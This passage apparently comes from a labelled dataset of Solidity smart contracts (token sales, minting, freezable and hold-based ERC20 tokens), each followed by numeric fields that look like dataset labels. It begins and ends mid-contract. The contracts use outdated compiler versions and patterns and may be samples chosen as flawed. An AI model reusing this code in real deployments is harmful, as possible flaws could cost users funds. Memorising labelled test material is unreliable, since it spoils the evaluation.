0x16CCc1e68D2165fb411cE5dae3556f823249233e,
0x8E176EDA10b41FA072464C29Eb10CfbbF4adCd05,
0x7c387c57f055993c857067A0feF6E81884656Cb0,
0x4F21c073A9B8C067818113829053b60A6f45a817,
0xcB4b6B7c4a72754dEb99bB72F1274129D9C0A109,
0x7BF84E0244c05A11c57984e8dF7CC6481b8f4258,
0x20D2F4Be237F4320386AaaefD42f68495C6A3E81,
0x12BEA633B83aA15EfF99F68C2E7e14f2709802A9,
0xC1a29a165faD532520204B480D519686B8CB845B,
0xf5f5Eb6Ab1411935b321042Fa02a433FcbD029AC,
0xaBff978f03d5ca81B089C5A2Fc321fB8152DC8f1];
address[] public partnerFixedAmount = [
0xA482D998DA4d361A6511c6847562234077F09748,
0xFa92F80f8B9148aDFBacC66aA7bbE6e9F0a0CD0e
];
mapping(address => uint256) public percentages;
mapping(address => uint256) public fixedAmounts;
constructor() public{
percentages[0xb68342f2f4dd35d93b88081b03a245f64331c95c] = 40;
percentages[0x16CCc1e68D2165fb411cE5dae3556f823249233e] = 5;
percentages[0x8E176EDA10b41FA072464C29Eb10CfbbF4adCd05] = 100;
percentages[0x7c387c57f055993c857067A0feF6E81884656Cb0] = 50;
percentages[0x4F21c073A9B8C067818113829053b60A6f45a817] = 10;
percentages[0xcB4b6B7c4a72754dEb99bB72F1274129D9C0A109] = 20;
percentages[0x7BF84E0244c05A11c57984e8dF7CC6481b8f4258] = 20;
percentages[0x20D2F4Be237F4320386AaaefD42f68495C6A3E81] = 20;
percentages[0x12BEA633B83aA15EfF99F68C2E7e14f2709802A9] = 20;
percentages[0xC1a29a165faD532520204B480D519686B8CB845B] = 30;
percentages[0xf5f5Eb6Ab1411935b321042Fa02a433FcbD029AC] = 30;
percentages[0xaBff978f03d5ca81B089C5A2Fc321fB8152DC8f1] = 52;
fixedAmounts[0xA482D998DA4d361A6511c6847562234077F09748] = 886228 * 10**16;
fixedAmounts[0xFa92F80f8B9148aDFBacC66aA7bbE6e9F0a0CD0e] = 697 ether;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
isWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract SolidToken is MintableToken {
string public constant name = "SolidToken";
string public constant symbol = "SOLID";
uint8 public constant decimals = 18;
uint256 constant private DECIMAL_PLACES = 10 ** 18;
uint256 constant SUPPLY_CAP = 4000000 * DECIMAL_PLACES;
bool public transfersEnabled = false;
uint256 public transferEnablingDate;
function setTransferEnablingDate(uint256 date) public onlyOwner returns(bool success) {
transferEnablingDate = date;
return true;
}
function enableTransfer() public {
require(transferEnablingDate != 0 && now >= transferEnablingDate);
transfersEnabled = true;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= SUPPLY_CAP);
require(super.mint(_to, _amount));
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(transfersEnabled, "Tranfers are disabled");
require(super.transfer(_to, _value));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(transfersEnabled, "Tranfers are disabled");
require(super.transferFrom(_from, _to, _value));
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract TokenSale is MintedCrowdsale, WhitelistedCrowdsale, Pausable, Distributable {
mapping(address => uint256) public contributions;
Stages public currentStage;
uint256 constant MINIMUM_CONTRIBUTION = 0.5 ether;
uint256 constant MAXIMUM_CONTRIBUTION = 100 ether;
uint256 constant BONUS_PERCENT = 250;
uint256 constant TOKENS_ON_SALE_PERCENT = 600;
uint256 constant BONUSSALE_MAX_DURATION = 30 days ;
uint256 constant MAINSALE_MAX_DURATION = 62 days;
uint256 constant TOKEN_RELEASE_DELAY = 182 days;
uint256 constant HUNDRED_PERCENT = 1000;
uint256 public bonussale_Cap = 14400 ether;
uint256 public bonussale_TokenCap = 1200000 ether;
uint256 public bonussale_StartDate;
uint256 public bonussale_EndDate;
uint256 public bonussale_TokesSold;
uint256 public bonussale_WeiRaised;
uint256 public mainSale_Cap = 18000 ether;
uint256 public mainSale_TokenCap = 1200000 ether;
uint256 public mainSale_StartDate;
uint256 public mainSale_EndDate;
uint256 public mainSale_TokesSold;
uint256 public mainSale_WeiRaised;
uint256 private changeDue;
bool private capReached;
enum Stages{
SETUP,
READY,
BONUSSALE,
MAINSALE,
FINALIZED
}
modifier atStage(Stages _currentStage){
require(currentStage == _currentStage);
_;
}
modifier timedTransition(){
if(currentStage == Stages.READY && now >= bonussale_StartDate){
currentStage = Stages.BONUSSALE;
}
if(currentStage == Stages.BONUSSALE && now > bonussale_EndDate){
finalizePresale();
}
if(currentStage == Stages.MAINSALE && now > mainSale_EndDate){
finalizeSale();
}
_;
}
constructor(uint256 _rate, address _wallet, ERC20 _token) public Crowdsale(_rate,_wallet,_token) {
require(_rate == 15);
currentStage = Stages.SETUP;
}
function setupSale(uint256 initialDate, address tokenAddress) onlyOwner atStage(Stages.SETUP) public {
bonussale_StartDate = initialDate;
bonussale_EndDate = bonussale_StartDate + BONUSSALE_MAX_DURATION;
token = ERC20(tokenAddress);
require(SolidToken(tokenAddress).totalSupply() == 0, "Tokens have already been distributed");
require(SolidToken(tokenAddress).owner() == address(this), "Token has the wrong ownership");
currentStage = Stages.READY;
}
function getCurrentCap() public view returns(uint256 cap){
cap = bonussale_Cap;
if(currentStage == Stages.MAINSALE){
cap = mainSale_Cap;
}
}
function getRaisedForCurrentStage() public view returns(uint256 raised){
raised = bonussale_WeiRaised;
if(currentStage == Stages.MAINSALE)
raised = mainSale_WeiRaised;
}
function saleOpen() public timedTransition whenNotPaused returns(bool open) {
open = ((now >= bonussale_StartDate && now < bonussale_EndDate) ||
(now >= mainSale_StartDate && now < mainSale_EndDate)) &&
(currentStage == Stages.BONUSSALE || currentStage == Stages.MAINSALE);
}
function distributeTokens() public onlyOwner atStage(Stages.FINALIZED) {
require(!distributed);
distributed = true;
uint256 totalTokens = (bonussale_TokesSold.add(mainSale_TokesSold)).mul(HUNDRED_PERCENT).div(TOKENS_ON_SALE_PERCENT);
for(uint i = 0; i < partners.length; i++){
uint256 amount = percentages[partners[i]].mul(totalTokens).div(HUNDRED_PERCENT);
_deliverTokens(partners[i], amount);
}
for(uint j = 0; j < partnerFixedAmount.length; j++){
_deliverTokens(partnerFixedAmount[j], fixedAmounts[partnerFixedAmount[j]]);
}
require(SolidToken(token).finishMinting());
}
function finalizePresale() atStage(Stages.BONUSSALE) internal{
bonussale_EndDate = now;
mainSale_StartDate = now;
mainSale_EndDate = mainSale_StartDate + MAINSALE_MAX_DURATION;
mainSale_TokenCap = mainSale_TokenCap.add(bonussale_TokenCap.sub(bonussale_TokesSold));
mainSale_Cap = mainSale_Cap.add(bonussale_Cap.sub(weiRaised.sub(changeDue)));
currentStage = Stages.MAINSALE;
}
function finalizeSale() atStage(Stages.MAINSALE) internal {
mainSale_EndDate = now;
require(SolidToken(token).setTransferEnablingDate(now + TOKEN_RELEASE_DELAY));
currentStage = Stages.FINALIZED;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) isWhitelisted(_beneficiary) internal {
require(_beneficiary == msg.sender);
require(saleOpen(), "Sale is Closed");
uint256 acceptedValue = _weiAmount;
uint256 currentCap = getCurrentCap();
uint256 raised = getRaisedForCurrentStage();
if(contributions[_beneficiary].add(acceptedValue) > MAXIMUM_CONTRIBUTION){
changeDue = (contributions[_beneficiary].add(acceptedValue)).sub(MAXIMUM_CONTRIBUTION);
acceptedValue = acceptedValue.sub(changeDue);
}
if(raised.add(acceptedValue) >= currentCap){
changeDue = changeDue.add(raised.add(acceptedValue).sub(currentCap));
acceptedValue = _weiAmount.sub(changeDue);
capReached = true;
}
require(capReached || contributions[_beneficiary].add(acceptedValue) >= MINIMUM_CONTRIBUTION ,"Contribution below minimum");
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256 amount) {
amount = (_weiAmount.sub(changeDue)).mul(HUNDRED_PERCENT).div(rate);
if(currentStage == Stages.BONUSSALE){
amount = amount.add(amount.mul(BONUS_PERCENT).div(HUNDRED_PERCENT));
}
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
if(currentStage == Stages.MAINSALE && capReached) finalizeSale();
if(currentStage == Stages.BONUSSALE && capReached) finalizePresale();
changeDue = 0;
capReached = false;
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
uint256 tokenAmount = _getTokenAmount(_weiAmount);
if(currentStage == Stages.BONUSSALE){
bonussale_TokesSold = bonussale_TokesSold.add(tokenAmount);
bonussale_WeiRaised = bonussale_WeiRaised.add(_weiAmount.sub(changeDue));
} else {
mainSale_TokesSold = mainSale_TokesSold.add(tokenAmount);
mainSale_WeiRaised = mainSale_WeiRaised.add(_weiAmount.sub(changeDue));
}
contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount).sub(changeDue);
weiRaised = weiRaised.sub(changeDue);
}
function _forwardFunds() internal {
wallet.transfer(msg.value.sub(changeDue));
msg.sender.transfer(changeDue);
}
} | 1 | 2,867 |
pragma solidity ^ 0.4 .9;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EthereumGold {
using SafeMath
for uint256;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
uint256 public decimals;
address public owner;
bytes32 public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
function EthereumGold() {
totalSupply = 210000000;
symbol = 'ETHG';
owner = 0x03edd437b2dab71ae7bfbf5a112ccb92f10de9b2;
balances[owner] = totalSupply;
decimals = 0;
}
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) returns(bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function() {
revert();
}
} | 1 | 4,896 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Saturn";
string public constant TOKEN_SYMBOL = "XSAT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x56e3A05A7040089A35BD6441957577c9c5596b83;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[4] memory addresses = [address(0x891fbdbb9971fa762a372f191dd31dc589ae3192),address(0x9b775c0ecdde2da17dc5404653d5bed3fe1dc0a4),address(0x81314df12c49b89760b564cfd854e9ea8b9d1cad),address(0xd6847207e8d9bcc5286af831184ba5d154e37999)];
uint[4] memory amounts = [uint(50000000000000000000000000),uint(100000000000000000000000000),uint(100000000000000000000000000),uint(750000000000000000000000000)];
uint64[4] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 2,611 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LescovexERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => timeHold) holded;
struct timeHold{
uint256[] amount;
uint256[] time;
uint256 length;
}
string public constant standard = "ERC20 Lescovex ISC Income Smart Contract";
uint8 public constant decimals = 8;
uint256 public holdMax = 100;
uint256 public totalSupply;
uint256 public holdTime;
string public name;
string public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function holdedOf(address _owner) public view returns (uint256) {
uint256 requiredTime = block.timestamp - holdTime;
uint256 iValid = 0;
uint256 iNotValid = holded[_owner].length;
if (iNotValid == 0
|| holded[_owner].time[iValid] >= requiredTime) {
return 0;
}
uint256 i = iNotValid / 2;
while (i > iValid) {
if (holded[_owner].time[i] < requiredTime) {
iValid = i;
} else {
iNotValid = i;
}
i = (iNotValid + iValid) / 2;
}
return holded[_owner].amount[iValid];
}
function hold(address _to, uint256 _value) internal {
assert(holded[_to].length < holdMax);
uint256 len = holded[_to].length;
uint256 accumulatedValue = (len == 0 ) ?
_value :
_value + holded[_to].amount[len - 1];
holded[_to].amount.push(accumulatedValue);
holded[_to].time.push(block.timestamp);
holded[_to].length++;
}
function setHoldTime(uint256 _value) external onlyOwner{
holdTime = _value;
}
function setHoldMax(uint256 _value) external onlyOwner{
holdMax = _value;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete holded[msg.sender];
hold(msg.sender,balances[msg.sender]);
hold(_to,_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
delete holded[_from];
hold(_from,balances[_from]);
hold(_to,_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ;
}
contract Lescovex_ISC is LescovexERC20 {
uint256 public contractBalance = 0;
event LogDeposit(address sender, uint amount);
event LogWithdrawal(address receiver, uint amount);
address contractAddr = this;
